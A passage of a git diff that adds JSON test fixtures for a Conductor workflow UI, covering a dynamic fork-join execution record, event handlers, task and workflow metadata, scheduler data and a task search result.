$.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -8, + "loopOverTask": false + }, + { + "taskType": "LAMBDA", + "status": "COMPLETED", + "inputData": { + "number": 234, + "scriptExpression": "return $.number - 1;" + }, + "referenceTaskName": "second_task", + "retryCount": 0, + "seq": 3, + "pollCount": 0, + "taskDefName": "second_task", + "scheduledTime": 1656008300537, + "startTime": 1656008300529, + "endTime": 1656008300977, + "updateTime": 1656008300683, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "e66254b6-388d-43a6-b890-c518df832e51", + "workflowType": "example_dynamic_tasks", + "taskId": "b936ea24-9c3e-4651-8702-2ff5aa4dd579", + "callbackAfterSeconds": 0, + "outputData": { + "result": 233 + }, + "workflowTask": { + "name": "second_task", + "taskReferenceName": "second_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -8, + "loopOverTask": false + }, + { + "taskType": "LAMBDA", + "status": "COMPLETED", + "inputData": { + "number": 12, + "scriptExpression": "return $.number - 1;" + }, + "referenceTaskName": "third_task", + "retryCount": 0, + "seq": 4, + "pollCount": 0, + "taskDefName": "third_task", + "scheduledTime": 1656008300540, + "startTime": 1656008300531, + "endTime": 1656008301031, + "updateTime": 1656008300760, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "e66254b6-388d-43a6-b890-c518df832e51", + "workflowType": "example_dynamic_tasks", + "taskId": "bf2963cd-e545-4a26-b533-2ae760e77634", + "callbackAfterSeconds": 0, + "outputData": { + "result": 11 + }, + "workflowTask": { + "name": "third_task", + "taskReferenceName": "third_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -9, + "loopOverTask": false + }, + { + "taskType": "JOIN", + "status": "COMPLETED", + "inputData": { + "joinOn": ["first_task", "second_task", "third_task"] + }, + "referenceTaskName": "join_dynamic", + "retryCount": 0, + "seq": 5, + "pollCount": 0, + "taskDefName": "JOIN", + "scheduledTime": 1656008300542, + "startTime": 1656008300531, + "endTime": 1656008301085, + "updateTime": 1656008300831, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "e66254b6-388d-43a6-b890-c518df832e51", + "workflowType": "example_dynamic_tasks", + "taskId": "25ddfe4d-eaf0-4171-964f-9b53ad06002b", + "callbackAfterSeconds": 0, + "outputData": { + "second_task": { + "result": 233 + }, + "third_task": { + "result": 11 + }, + "first_task": { + "result": 45 + } + }, + "workflowTask": { + "name": "join", + "taskReferenceName": "join_dynamic", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -11, + "loopOverTask": false + } + ], + "input": { + "tasksJSON": [ + { + "name": "first_task", + "taskReferenceName": "first_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "second_task", + "taskReferenceName": "second_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "third_task", + "taskReferenceName": "third_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "tasksInputJSON": { + "first_task": { + "number": 46 + }, + "second_task": { + "number": 234 + }, + "third_task": { + "number": 12 + } + } + }, + "output": { + "second_task": { + "result": 233 + }, + "third_task": { + "result": 11 + }, + "first_task": { + "result": 45 + } + }, + "taskToDomain": {}, + "failedReferenceTaskNames": [], + "workflowDefinition": { + "createTime": 1656005417724, + "updateTime": 1656005671608, + "name": "example_dynamic_tasks", + "description": "A workflow that allows dynamic execution of tasks", + "version": 2, + "tasks": [ + { + "name": "dynamic_tasks", + "taskReferenceName": "dynamic_tasks", + "inputParameters": { + "dynamicTasks": "${workflow.input.tasksJSON}", + "dynamicTasksInput": "${workflow.input.tasksInputJSON}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "join_dynamic", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": ["tasksJSON", "tasksInputJSON"], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": true, + "ownerEmail": "mwi-workflow-dev@netflix.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + "priority": 0, + "variables": {}, + "lastRetriedTime": 0, + "startTime": 1656008300448, + "workflowName": "example_dynamic_tasks", + "workflowVersion": 2 +} diff --git a/ui/e2e/fixtures/eventHandlers.json b/ui/e2e/fixtures/eventHandlers.json new file mode 100644 index 0000000..80c18c1 --- /dev/null +++ b/ui/e2e/fixtures/eventHandlers.json @@ -0,0 +1,35 @@ +[ + { + "name": "test_event_handler", + "event": "conductor:workflow:COMPLETED", + "condition": "true", + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "test_workflow", + "version": 1 + } + } + ], + "active": true, + "evaluatorType": "javascript" + }, + { + "name": "another_event_handler", + "event": "conductor:task:FAILED", + "condition": "true", + "actions": [ + { + "action": "complete_task", + "complete_task": { + "workflowId": "${workflowId}", + "taskRefName": "task_ref", + "output": {} + } + } + ], + "active": false, + "evaluatorType": "javascript" + } +] diff --git a/ui/e2e/fixtures/metadataTasks.json b/ui/e2e/fixtures/metadataTasks.json new file mode 100644 index 0000000..7ab904d --- /dev/null +++ b/ui/e2e/fixtures/metadataTasks.json @@ -0,0 +1,55 @@ +[ + { + "updateTime": 1629995112563, + "updatedBy": "user1@example.com", + "name": "example_task_1", + "retryCount": 4, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "user1@example.com", + "backoffScaleFactor": 1 + }, + { + "createTime": 1562373417179, + "createdBy": "user2@example.com", + "name": "example_task_2", + "retryCount": 2, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 30, + "responseTimeoutSeconds": 120, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + { + "createTime": 1627367321969, + "createdBy": "user3@example.com", + "name": "example_task_3", + "retryCount": 3, + "timeoutSeconds": 1800, + "inputKeys": ["projectId"], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 3, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "user3@example.com", + "backoffScaleFactor": 1 + } +] diff --git a/ui/e2e/fixtures/metadataWorkflow.json b/ui/e2e/fixtures/metadataWorkflow.json new file mode 100644 index 0000000..d02787e --- /dev/null +++ b/ui/e2e/fixtures/metadataWorkflow.json @@ -0,0 +1,228 @@ +[ + { + "createTime": 1638226947603, + "name": "19test009", + "description": "test workflow", + "version": 1, + "tasks": [ + { + "name": "fetch_data", + "taskReferenceName": "fetch_data", + "inputParameters": { + "http_request": { + "connectionTimeOut": "3600", + "readTimeOut": "3600", + "uri": "${workflow.input.uri}", + "method": "GET", + "accept": "application/json", + "content-Type": "application/json", + "headers": {} + } + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "fetch_data", + "retryCount": 0, + "timeoutSeconds": 3600, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 0, + "responseTimeoutSeconds": 3000, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": true, + "ownerEmail": "test@163.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + { + "createTime": 1610653237179, + "name": "ConditionalTerminateWorkflow", + "description": "ConditionalTerminateWorkflow", + "version": 1, + "tasks": [ + { + "name": "perf_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "tp11": "${workflow.input.param1}", + "tp12": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "decision", + "taskReferenceName": "decision", + "inputParameters": { + "case": "${t1.output.case}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "one": [ + { + "name": "perf_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp21": "${workflow.input.param1}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "two": [ + { + "name": "terminate", + "taskReferenceName": "terminate0", + "inputParameters": { + "terminationStatus": "COMPLETED", + "workflowOutput": "${t1.output.op}" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "perf_task_3", + "taskReferenceName": "t3", + "inputParameters": { + "tp31": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": ["param1", "param2"], + "outputParameters": { + "o2": "${t1.output.op}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@harness.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + { + "createTime": 1654202968736, + "name": "Do_While_Workflow_Iteration_Fix", + "description": "Do_While_Workflow_Iteration_Fix", + "version": 1, + "tasks": [ + { + "name": "loopTask", + "taskReferenceName": "loopTask", + "inputParameters": { + "value": "${workflow.input.loop}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.loopTask['iteration'] < $.value) { true; } else { false;} ", + "loopOver": [ + { + "name": "form_uri", + "taskReferenceName": "form_uri", + "inputParameters": { + "index": "${loopTask['iteration']}", + "scriptExpression": "return $.index - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "peterl@netflix.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + } +] diff --git a/ui/e2e/fixtures/metadataWorkflowNames.json b/ui/e2e/fixtures/metadataWorkflowNames.json new file mode 100644 index 0000000..de883b3 --- /dev/null +++ b/ui/e2e/fixtures/metadataWorkflowNames.json @@ -0,0 +1 @@ +["19test009", "ConditionalTerminateWorkflow", "Do_While_Workflow_Iteration_Fix"] diff --git a/ui/e2e/fixtures/metadataWorkflowNamesAndVersions.json b/ui/e2e/fixtures/metadataWorkflowNamesAndVersions.json new file mode 100644 index 0000000..fe4e36f --- /dev/null +++ b/ui/e2e/fixtures/metadataWorkflowNamesAndVersions.json @@ -0,0 +1,26 @@ +{ + "19test009": [ + { + "name": "19test009", + "version": 1, + "createTime": 1638226947603, + "updateTime": 1638226947603 + } + ], + "ConditionalTerminateWorkflow": [ + { + "name": "ConditionalTerminateWorkflow", + "version": 1, + "createTime": 1638226947603, + "updateTime": 1638226947603 + } + ], + "Do_While_Workflow_Iteration_Fix": [ + { + "name": "Do_While_Workflow_Iteration_Fix", + "version": 1, + "createTime": 1638226947603, + "updateTime": 1638226947603 + } + ] +} diff --git a/ui/e2e/fixtures/metadataWorkflowVersions.json b/ui/e2e/fixtures/metadataWorkflowVersions.json new file mode 100644 index 0000000..5e870ae --- /dev/null +++ b/ui/e2e/fixtures/metadataWorkflowVersions.json @@ -0,0 +1,12 @@ +[ + { + "name": "Do_While_Workflow_Iteration_Fix", + "version": 1, + "createTime": 1700000000000 + }, + { + "name": "Do_While_Workflow_Iteration_Fix", + "version": 2, + "createTime": 1700100000000 + } +] diff --git a/ui/e2e/fixtures/schedulerDefs.json b/ui/e2e/fixtures/schedulerDefs.json new file mode 100644 index 0000000..a8ba15a --- /dev/null +++ b/ui/e2e/fixtures/schedulerDefs.json @@ -0,0 +1,29 @@ +[ + { + "name": "daily_cleanup_schedule", + "cronExpression": "0 0 * * *", + "paused": false, + "scheduleStartTime": 1700000000000, + "scheduleEndTime": 1800000000000, + "createTime": 1700000000000, + "updatedTime": 1700000000000, + "startWorkflowRequest": { + "name": "cleanup_workflow", + "version": 1, + "input": {} + } + }, + { + "name": "hourly_data_sync", + "cronExpression": "0 * * * *", + "paused": true, + "scheduleStartTime": 1700000000000, + "createTime": 1700000000000, + "updatedTime": 1700000000000, + "startWorkflowRequest": { + "name": "data_sync_workflow", + "version": 2, + "input": {} + } + } +] diff --git a/ui/e2e/fixtures/schedulerExecutions.json b/ui/e2e/fixtures/schedulerExecutions.json new file mode 100644 index 0000000..f0a171b --- /dev/null +++ b/ui/e2e/fixtures/schedulerExecutions.json @@ -0,0 +1,23 @@ +{ + "results": [ + { + "scheduleName": "daily_cleanup_schedule", + "executionId": "exec-abc123", + "scheduledTime": 1700050000000, + "executionTime": 1700050001000, + "state": "EXECUTED", + "workflowId": "wf-123456", + "reason": null + }, + { + "scheduleName": "hourly_data_sync", + "executionId": "exec-def456", + "scheduledTime": 1700053600000, + "executionTime": 1700053601000, + "state": "EXECUTED", + "workflowId": "wf-789012", + "reason": null + } + ], + "totalHits": 2 +} diff --git a/ui/e2e/fixtures/taskPollData.json b/ui/e2e/fixtures/taskPollData.json new file mode 100644 index 0000000..85d5983 --- /dev/null +++ b/ui/e2e/fixtures/taskPollData.json @@ -0,0 +1,14 @@ +[ + { + "queueName": "example_task_1", + "domain": "DEFAULT", + "workerId": "worker-host-1", + "lastPollTime": 1700050000000 + }, + { + "queueName": "example_task_1", + "domain": "prod", + "workerId": "worker-host-2", + "lastPollTime": 1700049900000 + } +] diff --git a/ui/e2e/fixtures/taskSearch.json b/ui/e2e/fixtures/taskSearch.json new file mode 100644 index 0000000..665f635 --- /dev/null +++ b/ui/e2e/fixtures/taskSearch.json @@ -0,0 +1,22 @@ +{ + "totalHits": 1, + "results": [ + { + "workflowId": "e577cf0c-4cc0-4224-b729-79c5a2609b30", + "workflowType": "JXU_PROMO_MEDIA_PUBLISH_TO_PAL_WORKFLOW", + "scheduledTime": "2022-05-17T22:52:46.628Z", + "startTime": "2022-05-17T22:52:47.212Z", + "updateTime": "2022-05-17T22:52:47.212Z", + "endTime": "2022-05-17T22:52:47.602Z", + "status": "COMPLETED", + "executionTime": 390, + "queueWaitTime": 584, + "taskDefName": "JXU_PROMO_MEDIA_PUBLISH_BUNDLE_TO_PAL", + "taskType": "JXU_PROMO_MEDIA_PUBLISH_BUNDLE_TO_PAL", + "input": "{bundleId=workflow.input.bundleId}", + "output": "{singleAssetPublishTasks=[{taskReferenceName=fork_0, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_1, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_2, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_3, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_4, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_5, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_6, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_7, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_8, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_9, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_10, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_11, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_12, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_13, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_14, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_15, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_16, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_17, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_18, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_19, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_20, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_21, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_22, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_23, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_24, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_25, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_26, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_27, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_28, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_29, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_30, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_31, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_32, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_33, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_34, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_35, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_36, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_37, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_38, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_39, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_40, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_41, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_42, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_43, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_44, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_45, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_46, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_47, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_48, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_49, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_50, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_51, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_52, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_53, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_54, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_55, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_56, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_57, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_58, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_59, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_60, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_61, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_62, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_63, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_64, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_65, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_66, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_67, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_68, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_69, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_70, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_71, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_72, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_73, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_74, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_75, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_76, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_77, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_78, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_79, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_80, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_81, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, 